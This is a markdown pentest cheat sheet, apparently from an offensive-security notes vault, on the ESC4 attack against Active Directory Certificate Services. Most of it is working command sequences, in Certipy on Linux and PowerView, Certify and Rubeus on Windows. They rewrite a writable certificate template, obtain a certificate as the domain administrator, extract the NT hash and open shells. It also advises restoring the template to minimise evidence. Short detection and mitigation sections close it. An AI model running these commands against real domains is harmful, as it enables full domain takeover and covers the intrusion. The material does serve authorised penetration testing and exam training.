esc4-vulnerable-certificate-template-access-control.md (16237B)
1 --- 2 title: "ESC4 — Vulnerable Certificate Template Access Control" 3 description: "ESC4 is a permission-level attack, not a template configuration attack. Every ESC attack up to this point (ESC1–3) abused what a template was configured…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs", "privilege-escalation"] 7 tools: ["Rubeus", "Certipy", "BloodHound", "Evil-WinRM", "OpenSSL"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC4 — Vulnerable Certificate Template Access Control.md" 11 --- 12 # ESC4 — Vulnerable Certificate Template Access Control 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | Certificate Template Permission Abuse | 19 | **Difficulty** | Medium | 20 | **Pre-requisites** | Write/Owner ACE on a certificate template object | 21 | **Tools** | Certipy, Certify.exe, PowerView, BloodyAD | 22 | **OPSEC Noise** | High — modifying AD template objects generates 5136 events | 23 | **One-liner** | Abuse write permissions on a template to add `ENROLLEE_SUPPLIES_SUBJECT` flag and Client Auth EKU, turning it into an ESC1-vulnerable template. | 24 25 *** 26 27 ## What Is ESC4? 28 29 ESC4 is a **permission-level attack, not a template configuration attack**. Every ESC attack up to this point (ESC1–3) abused *what a template was configured to do*. ESC4 is different — it abuses *who has the right to change a template*. When a low-privileged user holds certain write-level permissions over a certificate template AD object, they can **rewrite the template's configuration** to introduce ESC1 vulnerabilities that didn't previously exist, exploit the newly misconfigured template, then optionally restore the original config to cover their tracks. 30 31 Certificate templates are just AD objects stored in `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration`. Like any AD object, they have a DACL. When that DACL is loose, the template becomes a weapon you forge yourself. 32 33 *** 34 35 ## The Dangerous ACEs — What You Need on the Template 36 37 Any **one** of these permissions on a certificate template object is enough to execute ESC4: 38 39 | ACE / Right | What It Lets You Do | 40 |-------------|---------------------| 41 | **Owner** | Full control over the object — can modify the DACL, grant yourself anything | 42 | **WriteOwner** | Take ownership of the template object, then gain full control | 43 | **WriteDACL** | Modify the DACL directly — grant yourself `WriteProperty` or `GenericAll` | 44 | **WriteProperty** | Directly modify any attribute on the template — this is the most direct path | 45 | **GenericWrite** | Covers all `WriteProperty` rights | 46 | **GenericAll** / **FullControl** | Unrestricted access — modify anything | 47 48 The attack chain is always: **Use your write permission → Mutate template to ESC1 → Request cert as Administrator → Authenticate**. 49 50 *** 51 52 ## Step 0 — Enumeration 53 54 ```bash 55 # Standard scan 56 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 57 -dc-ip $TARGET -vulnerable -stdout 58 59 # With hash 60 certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ 61 -dc-ip $TARGET -vulnerable -stdout 62 63 # Grep for ESC4 if output saved to file 64 cat certipy_output.txt | grep "ESC4" 65 ``` 66 67 ### What Vulnerable ESC4 Output Looks Like 68 69 ``` 70 Template Name : VulnTemplate 71 Enabled : True 72 Client Authentication : False ← Not yet exploitable directly 73 Enrollee Supplies Subject : False ← Not yet vulnerable to ESC1 74 Requires Manager Approval : True ← Locked down... for now 75 Extended Key Usage : Encrypting File System 76 77 Permissions 78 Enrollment Permissions 79 Enrollment Rights : DOMAIN\Domain Users 80 Object Control Permissions 81 Owner : DOMAIN\Administrator 82 Write Owner Principals: DOMAIN\Domain Users ← ⚠️ DANGEROUS 83 Write Dacl Principals : DOMAIN\Domain Users ← ⚠️ DANGEROUS 84 Write Property Principals: DOMAIN\Domain Users ← ⚠️ DANGEROUS 85 Full Control Principals: DOMAIN\lowpriv ← ⚠️ DANGEROUS 86 87 [!] Vulnerabilities 88 ESC4 : 'DOMAIN\Domain Users' has dangerous permissions 89 ``` 90 91 > 💡 Certipy may also flag this via BloodHound edges. In BloodHound, look for edges like `GenericWrite`, `WriteDACL`, `WriteOwner`, or `GenericAll` from a low-priv principal to a certificate template node. 92 93 *** 94 95 ## The Core Technique — Template Mutation via `certipy template` 96 97 Certipy has a dedicated `template` subcommand that automates the template mutation for you. It: 98 1. **Saves** the original template config to a JSON backup file 99 2. **Overwrites** the template with ESC1-vulnerable settings 100 3. Lets you **restore** the original config after exploitation 101 102 *** 103 104 ## Full Attack Chain — Linux (Certipy) 105 106 ### Step 1 — Save the original template config (IMPORTANT — do this first) 107 108 ```bash 109 certipy-ad template \ 110 -u 'lowpriv@domain.htb' \ 111 -p 'Password123!' \ 112 -dc-ip $TARGET \ 113 -template 'VulnTemplateName' \ 114 -save-old 115 116 # Output: VulnTemplateName.json ← Keep this safe for restoration 117 ``` 118 119 > ⚠️ **Always back up the original config.** On a real engagement or exam, modifying a live template without restoring it is noisy and could break legitimate business processes. On HTB it matters less, but build the habit now. 120 121 *** 122 123 ### Step 2 — Mutate the template to be ESC1-vulnerable 124 125 ```bash 126 certipy-ad template \ 127 -u 'lowpriv@domain.htb' \ 128 -p 'Password123!' \ 129 -dc-ip $TARGET \ 130 -template 'VulnTemplateName' 131 ``` 132 133 **What Certipy does under the hood**: 134 - Sets `msPKI-Certificate-Name-Flag` → `ENROLLEE_SUPPLIES_SUBJECT` (0x1) 135 - Sets `msPKI-EnrollmentFlag` → removes `PEND_ALL_REQUESTS` (0x2) 136 - Sets `mspki-ra-signature` → `0` 137 - Sets `pKIExtendedKeyUsage` → `1.3.6.1.5.5.7.3.2` (Client Authentication) 138 - Sets `mspki-certificate-application-policy` → Client Authentication OID 139 140 **Expected output:** 141 ``` 142 [*] Updating certificate template 'VulnTemplateName' 143 [*] Successfully updated 'VulnTemplateName' 144 ``` 145 146 You can verify the mutation worked by re-running the find command: 147 ```bash 148 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 149 -dc-ip $TARGET -vulnerable -stdout 150 # The template should now also show ESC1 vulnerability 151 ``` 152 153 *** 154 155 ### Step 3 — Exploit the now-ESC1-vulnerable template 156 157 ```bash 158 certipy-ad req \ 159 -u 'lowpriv@domain.htb' \ 160 -p 'Password123!' \ 161 -dc-ip $TARGET \ 162 -ca 'DOMAIN-CA-NAME' \ 163 -template 'VulnTemplateName' \ 164 -upn 'administrator@domain.htb' 165 166 # Output: administrator.pfx 167 ``` 168 169 *** 170 171 ### Step 4 — Authenticate 172 173 ```bash 174 certipy-ad auth \ 175 -pfx administrator.pfx \ 176 -username administrator \ 177 -domain domain.htb \ 178 -dc-ip $TARGET 179 180 # Output: administrator.ccache + NT hash 181 ``` 182 183 *** 184 185 ### Step 5 — RESTORE the original template (critical) 186 187 ```bash 188 certipy-ad template \ 189 -u 'lowpriv@domain.htb' \ 190 -p 'Password123!' \ 191 -dc-ip $TARGET \ 192 -template 'VulnTemplateName' \ 193 -configuration VulnTemplateName.json 194 195 # Output: [*] Successfully updated 'VulnTemplateName' 196 ``` 197 198 > 💡 On a real engagement you restore this immediately after getting your cert. On HTB boxes, restore out of good habit — it also proves you understand clean-up, which is an OSCP/exam requirement. 199 200 *** 201 202 ### Step 6 — Get your shell 203 204 ```bash 205 # Kerberos TGT 206 export KRB5CCNAME=administrator.ccache 207 wmiexec.py -k -no-pass DC01.domain.htb 208 evil-winrm -i DC01.domain.htb -r domain.htb 209 210 # Pass-the-Hash 211 evil-winrm -i $TARGET -u administrator -H <NTHASH> 212 psexec.py administrator@$TARGET -hashes :NTHASH 213 ``` 214 215 *** 216 217 ## Full Attack Chain — Windows (PowerView + Certify.exe + Rubeus) 218 219 On Windows, you manually mutate the template attributes using **PowerView** before using Certify: 220 221 ```powershell 222 Import-Module .\PowerView.ps1 223 224 # ── Step 1: Grant enrollment rights to Domain Users ───────────────────────── 225 Add-DomainObjectAcl -TargetIdentity 'VulnTemplate' ` 226 -PrincipalIdentity 'Domain Users' ` 227 -RightsGUID '0e10c968-78fb-11d2-90d4-00c04f79dc55' ` 228 -TargetSearchBase "LDAP://CN=Configuration,DC=domain,DC=local" -Verbose 229 230 # ── Step 2: Disable Manager Approval (set EnrollmentFlag to 9) ────────────── 231 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" ` 232 -Identity 'VulnTemplate' -Set @{'mspki-enrollment-flag'=9} -Verbose 233 234 # ── Step 3: Disable Authorized Signature Requirement ──────────────────────── 235 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" ` 236 -Identity 'VulnTemplate' -Set @{'mspki-ra-signature'=0} -Verbose 237 238 # ── Step 4: Enable SAN Specification (ENROLLEE_SUPPLIES_SUBJECT = 1) ───────── 239 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" ` 240 -Identity 'VulnTemplate' -Set @{'mspki-certificate-name-flag'=1} -Verbose 241 242 # ── Step 5: Set Client Authentication EKU ─────────────────────────────────── 243 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" ` 244 -Identity 'VulnTemplate' -Set @{'pkiextendedkeyusage'='1.3.6.1.5.5.7.3.2'} -Verbose 245 246 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" ` 247 -Identity 'VulnTemplate' -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose 248 249 # ── Step 6: Request cert with injected SAN ─────────────────────────────────── 250 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:VulnTemplate /altname:administrator 251 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 252 253 # ── Step 7: Get TGT + NT Hash ──────────────────────────────────────────────── 254 .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap 255 ``` 256 257 *** 258 259 ## ESC4 Visual Attack Flow 260 261 ``` 262 [lowpriv has WriteProperty over VulnTemplate] 263 │ 264 │ certipy template -template VulnTemplate 265 ▼ 266 [Template mutated → ESC1 flags written] 267 mspki-certificate-name-flag = ENROLLEE_SUPPLIES_SUBJECT 268 mspki-enrollment-flag = no PEND_ALL_REQUESTS 269 pKIExtendedKeyUsage = Client Authentication 270 │ 271 │ certipy req -template VulnTemplate -upn administrator@domain.htb 272 ▼ 273 [administrator.pfx issued] 274 │ 275 │ certipy auth -pfx administrator.pfx 276 ▼ 277 [TGT + NT Hash for Administrator] 278 │ 279 │ certipy template -configuration VulnTemplate.json ← RESTORE 280 ▼ 281 [Template restored — evidence minimised] 282 ``` 283 284 *** 285 286 ## Common Errors and Fixes 287 288 | Error | Cause | Fix | 289 |-------|-------|-----| 290 | `Access Denied` on template mutation | You have `WriteOwner` but not yet `WriteProperty` — need to take ownership first | Use `Set-DomainObjectOwner -Identity VulnTemplate -OwnerIdentity lowpriv` first, then give yourself `GenericAll` | 291 | `Successfully updated` but template doesn't show ESC1 | AD replication delay | Wait 30–60 seconds, re-enumerate | 292 | `Certificate has no object SID` | Expected behaviour post-mutation | Proceed — auth will still work | 293 | `KDC_ERR_PADATA_TYPE_NOSUPP` on auth | PKINIT not supported on that DC | Try specifying another DC with `-dc-ip` | 294 295 *** 296 297 ## ESC4 vs ESC1–3 Comparison 298 299 | | ESC1 | ESC2 | ESC3 | ESC4 | 300 |---|---|---|---|---| 301 | **Attack type** | Template config abuse | Template config abuse | Template config abuse | **Template permission abuse** | 302 | **What you abuse** | SAN flag | Any Purpose EKU | CRA EKU | Write ACE on template object | 303 | **Pre-existing vuln** | ✅ Template already misconfigured | ✅ Already misconfigured | ✅ Already misconfigured | ❌ **You create the misconfiguration** | 304 | **Restoration needed** | ❌ | ❌ | ❌ | ✅ Strongly recommended | 305 | **BloodHound visible** | Via `Enrollment Rights` | Via `Enrollment Rights` | Via `Enrollment Rights` | ✅ **Via ACE edges on template node** | 306 | **Certipy command** | `req -upn` | `req -upn` | `req -on-behalf-of` | **`template` → `req -upn` → `template restore`** | 307 308 *** 309 310 ## Detection Indicators 311 312 - **Event ID 4899** — A certificate template was changed 313 - Look for rapid sequences of: **4899 (template changed)** → **4886 (cert requested)** → **4887 (cert issued)** → **4899 (template changed back)** — the classic ESC4 pattern 314 - Monitor AD attribute changes on `pKICertificateTemplate` objects — specifically `msPKI-Certificate-Name-Flag`, `pKIExtendedKeyUsage`, `msPKI-Enrollment-Flag` 315 - Alert on any non-admin principal modifying certificate template AD objects 316 317 *** 318 319 ## Mitigation 320 321 - **Audit template DACLs regularly** — `Domain Users`, `Authenticated Users`, or any non-admin group should never have `WriteProperty`, `WriteDACL`, `WriteOwner`, or `GenericAll` on a template object 322 - **Use the principle of least privilege** — only PKI admins should have write rights over templates 323 - **Monitor with BloodHound** — run BloodHound regularly and check for edges to certificate template nodes from low-priv principals 324 - **Enable AD auditing** on the `CN=Certificate Templates` container — changes should fire **Event ID 4899** which is auditable 325 326 *** 327 328 Sources 329 AD CS 102: How to Detect and Mitigate ESC4 Attacks on… | BeyondTrust https://www.beyondtrust.com/blog/entry/esc4-attacks 330 AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ 331 Detecting ADCS Privilege Escalation: How Misconfigured ... https://hawk-eye.io/2025/09/detecting-adcs-privilege-escalation-how-misconfigured-certificates-expose-active-directory/ 332 How one misconfiguration in ADCS can lead to full AD Forest compromise https://m365internals.com/2022/11/07/how-one-misconfiguration-in-adcs-can-lead-to-full-ad-forest-compromise/ 333 Active Directory Certificate Services (ADCS – ESC4) - RBT Security https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc4/ 334 An Expert Guide to Fortifying Active Directory Certificate ... https://www.nccgroup.com/research-blog/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/ 335 ADCS ESC4: Vulnerable Certificate Template Access Control https://www.hackingarticles.in/adcs-esc4-vulnerable-certificate-template-access-control/ 336 redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf 337 Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/ 338 ADCS ESC4: Vulnerable Certificate Template Access Control https://www.facebook.com/cybersna/posts/a-critical-adcs-esc4-vulnerability-allows-attackers-with-control-permissions-to-/1002681098728664/ 339 ESC4 - Access Control Vulnerabilities | B00t2R00t - GitBook https://h3ll-ka1ser.gitbook.io/boot2root/active-directory-penetration-testing/active-directory-certificate-services-adcs/mindmaps/access-control-vulnerabilities-esc4 340 Penetration Test Client Version 10 released 26 February 2023 Page ... https://www.coursehero.com/file/p7rd5udu/Penetration-Test-Client-Version-10-released-26-February-2023-Page-19-Figure-8/ 341 ADCS ESC4: Certificate Authentication Failure Fix - LinkedIn https://www.linkedin.com/posts/osher-jacobs_activedirectory-certificateservices-adcs-activity-7421147456517611520-S8KP 342 Active Directory Certificate Services (AD CS) Exploitation - VOIDREAD https://voidread.pages.dev/posts/ad-cs-abuses/ 343 The Shocking Truth About ADCS Templates Nobody Tells You [ESC4] https://www.youtube.com/watch?v=pgA0zP2n0Ok